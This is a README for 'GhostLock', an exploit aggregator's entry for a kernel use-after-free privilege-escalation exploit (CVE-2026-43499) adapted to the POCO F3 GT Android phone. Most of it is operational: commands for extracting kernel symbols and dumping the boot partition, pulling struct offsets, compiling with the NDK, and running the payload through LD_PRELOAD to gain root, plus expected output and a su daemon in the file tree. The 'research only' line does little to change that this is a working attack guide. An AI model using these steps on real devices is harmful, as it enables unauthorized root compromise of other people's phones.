Exploit for Use After Free in Linux Linux_Kernel CVE-2026-43499

## https://sploitus.com/exploit?id=C31ECE99-9C77-5299-8207-15D58CEBD72F
# GhostLock (CVE-2026-43499) — POCO F3 GT (aresin)

A data-only physmap overwrite exploit for MediaTek Dimensity 1200 (MT6893). Kernel: `4.14.186-android13` / MIUI V14.0.4.0.TKJCNXM. ## ⚠️ Prerequisites

- **Device**: POCO F3 GT / Redmi K40 Gaming Edition (codename: aresin)
- **Chip**: MediaTek Dimensity 1200 (MT6893)
- **OS**: Android 13 / MIUI 14 (V14.0.4.0.TKJCNXM)
- **Kernel**: 4.14.186-g0dc1d312efb3
- **No need to unlock BL** — Can obtain shell permissions via Shizuku (wireless debugging)
- **Shizuku** or **adb shell** can execute arm64 binaries
- The device will restart after execution (kernel panic — expected behavior). To save logs, connect adb logcat in advance.

## ✅ Vulnerability Check

| Condition | Status | Description |
|---------|--------|---------|
| Kernel version range | ✅ | 4.14.186 within 2.6.39 to 7.0.4 |
| CONFIG_FUTEX_PI | ✅ | Enabled (y) |
| CONFIG_RT_MUTEXES | ✅ | Enabled (y) |
| Architecture | ✅ | aarch64 |
| CONFIG_PREEMPT | ✅ | Enabled (y) |
| CONFIG_RANDOMIZE_KSTACK | ❓ | Needs confirmation (4.14 may not support) |

## 🔧 Preparation Steps

### Step 1: Extract kernel symbol addresses

```bash
# Run extraction script on the device
adb push tools/extract_offsets.sh /data/local/tmp/
adb shell sh /data/local/tmp/extract_offsets.sh
adb pull /data/local/tmp/ghostlock_offsets.txt
```

If you have root access (using Magisk), you can directly extract them from `/proc/kallsyms`:

```bash
adb shell su -c "cat /proc/kallsyms | grep -E 'init_task|init_cred|entry_task|__per_cpu_offset|root_task_group|selinux_enforcing'"
```

### Step 2: Extract vmlinux and analyze structure offsets

#### Method A: Extract vmlinux from boot.img

```bash
# 1. Get boot.img
adb shell "ls /dev/block/by-name/boot"
adb shell "dd if=/dev/block/by-name/boot of=/data/local/tmp/boot.img"
adb pull /data/local/tmp/boot.img

# 2. Unpack with magiskboot
magiskboot unpack boot.img
# Result: kernel (compressed vmlinux)

# 3. Decompress vmlinux
magiskboot decompress kernel vmlinux.elf

# 4. Use pahole to extract structure offsets
pahole --structs=rt_mutex_waiter vmlinux.elf
pahole --structs=task_struct vmlinux.elf | grep -A2 -E "usage|prio|normal_prio|pi_lock|pi_waiters|pi_top_task|pi_blocked_on|cred|real_cred|task_group"
```

#### Method B: Analyze with Ghidra

1. Open `vmlinux.elf` with Ghidra
2. Search for `rt_mutex_waiter` and `task_struct` structures
3. Record offset values for each field

### Step 3: Fill in the target.h file

Enter the extracted offset values in all places marked `0xTODO` in `target.h`. Key offset tables:

| Field | Description | Extraction Method |
|-------|-------------|------------------|
| `INIT_TASK` | Address of init_task | `/proc/kallsyms` or Ghidra |
| `INIT_CRED` | Address of init_cred | `/proc/kallsyms` or Ghidra |
| `WAITER_*_OFF` | Offset of rt_mutex_waiter field | pahole / Ghidra |
| `FAKE_TASK_*_OFF` | Offset of task_struct field | pahole / Ghidra |
| `TASK_CRED_OFF` | Offset of cred pointer | pahole / Ghidra |

### Step 4: Compile

```bash
# Need Android NDK r27+
export NDK_ROOT=/path/to/android-ndk-r27
```

# Or use the NDK in Android Studio
export NDK_ROOT=$HOME/Library/Android/sdk/ndk/27.0.12077973

# Compile
make preload TARGET_HEADER=target.h

# Output: build/bin/preload.so
```

### Step 5: Testing
```bash
# Push to device
adb push build/bin/preload.so /data/local/tmp/
adb push build/bin/ghostlock_aresin /data/local/tmp/ 2>/dev/null || true

# Run
adb shell LD_PRELOAD=/data/local/tmp/preload.so /data/local/tmp/ghostlock_aresin

# Or use Shizuku
# In Shizuku: LD_PRELOAD=/data/local/tmp/preload.so /data/local/tmp/ghostlock_aresin
```

## 📊 Expected Behavior
| Stage | Output | Description |
|------|------|------|
| Initialization | `[*] GhostLock - aresin (MT6893 D1200) 4.14.186` | Device recognition successful |
| CPU Binding | `[+] CPU0 pinned` | Bound to CPU0 |
| Address Loading | `[*] init_task @ 0xffffffc00xxxxxxx` | Fixed LM address |
| Permission Check | `[+] uid: xxxxx` | Prints current UID |
| KASLR Slide | `[+] slide = 0` or `slide = xxx` | KASLR detection |
| Privilege Escalation | UID becomes 0 after success | Gain root access |
| Failure | `[-] ...` + Restart | Kernel panic (vulnerability exists but offset needs adjustment) |

## ⚠️ Important Notes
### Differences between 4.14.x and 6.1.x kernels
1. **rt_mutex_waiter structure differences**:
   - 4.14.x uses `plist_node` instead of `rb_node`
   - Field offsets are completely different
   - Possibly no `deadline` or `ww_ctx` fields
2. **task_struct layout differences**:
   - Offsets of `pi_blocked_on`, `pi_lock`, etc. in 4.14.x differ from 6.1.x
   - Fields related to `uclamp` may not exist in 4.14.x
3. **KASLR implementation differences**:
   - KASLR randomization methods in 4.14.x differ from 6.1.x
   - Leak detection methods may need adjustment
4. **Security differences between Android 13 and 14**:
   - SELinux policies may differ
   - Access restrictions on `/proc/self/pagemap` may vary

### Offset Verification
After entering the offsets, it is recommended to cross-verify with Ghidra:
1. Open vmlinux.elf in Ghidra
2. Navigate to the `rt_mutex_waiter` structure
3. Confirm that each field’s offset matches what is defined in `target.h`

## 📁 File Structure
```
ghostlock-aresin/
├── README.md              # This file
├── Makefile               # Compilation script
├── target.h               # Target device offset definitions (must be filled in)
├── src/                   # Source code
│   ├── main.c             # Main logic
│   ├── util.c             # Utility functions
│   ├── slide.c            # KASLR detection
│   ├── fops.c             # File operations
│   ├── pipe.c             # Pipe-related functions
│   ├── preload.c          # LD_PRELOAD entry point
│   ├── su_daemon.c        # su daemon
│   ├── su_blob.S          # su binary embedding
│   ├── standalone.c       # Standalone execution
│   ├── common.h           # Common definitions
│   └── offset.h           # Offset calculations
├── tools/
│   └── extract_offsets.sh # Offset extraction script
└── build/
    ├── bin/               # Compiled output
    └── embed/             # Embedded files
```

## 📜 License
For research/educational purposes only. Use at your own risk. **Original PoC**: [NebuSec/CyberMeowfia](https://github.com/NebuSec/CyberMeowfia) → `IonStack/CVE-2026-43499/exploit/`
**Adapted for**: POCO F3 GT (aresin) by ghostlock-aresin